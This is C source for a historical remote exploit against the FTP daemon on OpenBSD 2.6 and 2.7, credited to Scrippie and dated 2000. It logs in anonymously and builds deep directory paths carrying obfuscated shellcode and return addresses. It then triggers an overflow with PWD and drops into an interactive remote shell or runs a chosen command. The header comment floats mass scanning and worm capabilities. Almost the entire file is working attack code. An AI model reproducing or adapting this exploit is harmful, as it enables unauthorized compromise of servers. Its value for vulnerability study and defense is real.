/* h0h0h0 0-day k0d3z Exploit by Scrippie, help by dvorak and jimjones greets to sk8 Not fully developt exploit but it works most of the time ;) Things to add: - automatic writeable directory finding - syn-scan option to do mass-scanning - worm capabilities? (should be done seperatly using the -C option 11/13/2000 */ #include #include #include #include #include #include void usage(char *program); char *strcreat(char *, char *, int); char *longToChar(unsigned long); char *xrealloc(void *, size_t); void xfree(char **ptr); char *xmalloc(size_t); int xconnect(char *host, u_short port); void xsend(int fd, char *buf); void xsendftpcmd(int fd, char *command, char *param); void xrecieveall(int fd, char *buf, int size); void xrecieve(int fd, char *buf, int size); void ftp_login(int fd, char *user, char *password); void exploit(int fd); int verbose = 0; /* Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask to get rid of dots and slashes. */ char heavenlycode[] = "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80" "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xf a\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x2 3\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb 4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x6 7\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x8 5\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3"; char user[255] = "anonymous"; char pass[255] = "anonymous@abc.com"; char write_dir[PATH_MAX] = "/"; int ftpport = 21; unsigned long int ret_addr = 0; #define CMD_LOCAL 0 #define CMD_REMOTE 1 int command_type = -1; char *command = NULL; struct typeT { char *name; unsigned long int ret_addr; }; #define NUM_TYPES 2 struct typeT types[NUM_TYPES] = { "OpenBSD 2.6", 0xdfbfd0ac, "OpenBSD 2.7", 0xdfbfd0ac}; void usage(char *program) { int i; fprintf(stderr, "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n" "Directory should be an absolute path, writable by the user.\n" "The argument of -c will be executed on the remote host\n" "while the argument of -C will be executed on the local\n" "with its filedescriptors connected to the remote host\n" "Valid types:\n", program); for (i = 0; i < NUM_TYPES; i++) { printf("%d : %s\n", i, types[i].name); } exit(-1); } main(int argc, char **argv) { unsigned int i; int opt, fd; unsigned int type = 0; char *hostname = "localhost"; if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) { switch (opt) { case 'h': hostname = optarg; break; case 'C': command = optarg; command_type = CMD_LOCAL; break; case 'c': command = optarg; command_type = CMD_REMOTE; break; case 'r': ret_addr = strtoul(optarg, NULL, 0); break; case 'v': verbose++; break; case 'f': if (!(ftpport = atoi(optarg))) { fprintf(stderr, "Invalid destination port - %s\n", optarg); exit(-1); } exit(-1); break; case 'u': strncpy(user, optarg, sizeof(user) - 1); user[sizeof(user) - 1] = 0x00; break; case 'p': strncpy(pass, optarg, sizeof(pass) - 1); pass[sizeof(pass) - 1] = 0x00; break; case 'd': strncpy(write_dir, optarg, sizeof(write_dir) - 1); write_dir[sizeof(write_dir) - 1] = 0x00; if ((write_dir[0] != '/')) usage(argv[0]); if ((write_dir[strlen(write_dir) - 1] != '/')) strncat(write_dir, "/", sizeof(write_dir) - 1); break; case 't': type = atoi(optarg); if (type > NUM_TYPES) usage(argv[0]); break; default: usage(argv[0]); } } if (ret_addr == 0) ret_addr = types[type].ret_addr; if ((fd = xconnect(hostname, ftpport)) == -1) exit(-1); else printf("Connected to remote host! Sending evil codes.\n"); ftp_login(fd, user, pass); exploit(fd); } int ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg) { xsendftpcmd(fd, command, param); xrecieveall(fd, res, size); if (res == NULL) return 0; if (verbose) printf("%s\n", res); if (msg && (res[0] != '2')) { fprintf(stderr, "%s\n", msg); exit(-1); } return (res[0] != '2'); } void shell(int fd) { fd_set readfds; char buf[1]; char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n"; write(fd, tst, strlen(tst)); while (1) { FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(fd, &readfds); select(fd + 1, &readfds, NULL, NULL, NULL); if (FD_ISSET(0, &readfds)) { if (read(0, buf, 1) != 1) { perror("read"); exit(1); } write(fd, buf, 1); } if (FD_ISSET(fd, &readfds)) { if (read(fd, buf, 1) != 1) { perror("read"); exit(1); } write(1, buf, 1); } } } void do_command(int fd) { char buffer[1024]; int len; if (command_type == CMD_LOCAL) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(command, command, NULL); exit (2); } write(fd, command, strlen(command)); write(fd, "\n", 1); while ((len = read(fd, buffer, sizeof(buffer))) > 0) { write(1, buffer, len); } exit (0); } void execute_command(fd) { } int exploit_ok(int fd) { char result[1024]; xsend(fd, "id\n"); xrecieve(fd, result, sizeof(result)); return (strstr(result, "uid=") != NULL); } void exploit(int fd) { char res[1024]; int heavenlycode_s; char *dir = NULL; ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir"); dir = strcreat(dir, "A", 255 - strlen(write_dir)); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 256 */ dir = strcreat(dir, "A", 255); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 512 */ heavenlycode_s = strlen(heavenlycode); dir = strcreat(dir, "A", 254 - heavenlycode_s); dir = strcreat(dir, heavenlycode, 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 768 */ dir = strcreat(dir, longToChar(ret_addr), 252 / 4); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* length = 1020 */ /* 1022 moet " zijn */ dir = strcreat(dir, "AAA\"", 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* and tell it to blow up */ ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL); if (!exploit_ok(fd)) { if (command != NULL) { exit (2); } fprintf(stderr, "Exploit failed\n"); exit (1); } if (command == NULL) shell(fd); else do_command(fd); } char * strcreat(char *dest, char *pattern, int repeat) { char *ret; size_t plen, dlen = 0; int i; if (dest) dlen = strlen(dest); plen = strlen(pattern); ret = (char *) xrealloc(dest, dlen + repeat * plen + 1); if (!dest) ret[0] = 0x00; for (i = 0; i < repeat; i++) { strcat(ret, pattern); } return (ret); } char * longToChar(unsigned long blaat) { char *ret; ret = (char *) xmalloc(sizeof(long) + 1); memcpy(ret, &blaat, sizeof(long)); ret[sizeof(long)] = 0x00; return (ret); } char * xrealloc(void *ptr, size_t size) { char *wittgenstein_was_a_drunken_swine; if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) { fprintf(stderr, "Cannot calculate universe\n"); exit(-1); } return (wittgenstein_was_a_drunken_swine); } void xfree(char **ptr) { if (!ptr || !*ptr) return; free(*ptr); *ptr = NULL; } char * xmalloc(size_t size) { char *heidegger_was_a_boozy_beggar; if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) { fprintf(stderr, "Out of cheese error\n"); exit(-1); } return (heidegger_was_a_boozy_beggar); } int xconnect(char *host, u_short port) { struct hostent *he; struct sockaddr_in s_in; int fd; if ((he = gethostbyname(host)) == NULL) { perror("gethostbyname"); return (-1); } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); return (-1); } if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) { perror("connect"); return (-1); } return fd; } /* returns status from ftpd */ void ftp_login(int fd, char *user, char *password) { char reply[512]; int rep; xrecieveall(fd, reply, sizeof(reply)); if (verbose) { printf("Logging in ..\n"); printf("%s\n", reply); } xsendftpcmd(fd, "USER", user); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); xsendftpcmd(fd, "PASS", password); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); if (reply[0] != '2') { printf("Login failed.\n"); exit(-1); } } void xsendftpcmd(int fd, char *command, char *param) { xsend(fd, command); if (param != NULL) { xsend(fd, " "); xsend(fd, param); } xsend(fd, "\r\n"); } void xsend(int fd, char *buf) { if (send(fd, buf, strlen(buf), 0) != strlen(buf)) { perror("send"); exit(-1); } } void xrecieveall(int fd, char *buf, int size) { char scratch[6]; if (buf == NULL || size == 0) { buf = scratch; size = sizeof(scratch); } memset(buf, 0, size); do { xrecieve(fd, buf, size); } while (buf[3] == '-'); } /* recieves a line from the ftpd */ void xrecieve(int fd, char *buf, int size) { char *end; char ch; end = buf + size; while (buf < end) { if (read(fd, buf, 1) != 1) { perror("read"); /* XXX */ exit(-1); } if (buf[0] == '\n') { buf[0] = '\0'; return; } if (buf[0] != '\r') { buf++; } } buf--; while (read(fd, buf, 1) == 1) { if (buf[0] == '\n') { buf[0] = '\0'; return; } } perror("read"); /* XXX */ exit(-1); } /* www.hack.co.za [20 December 2000]*/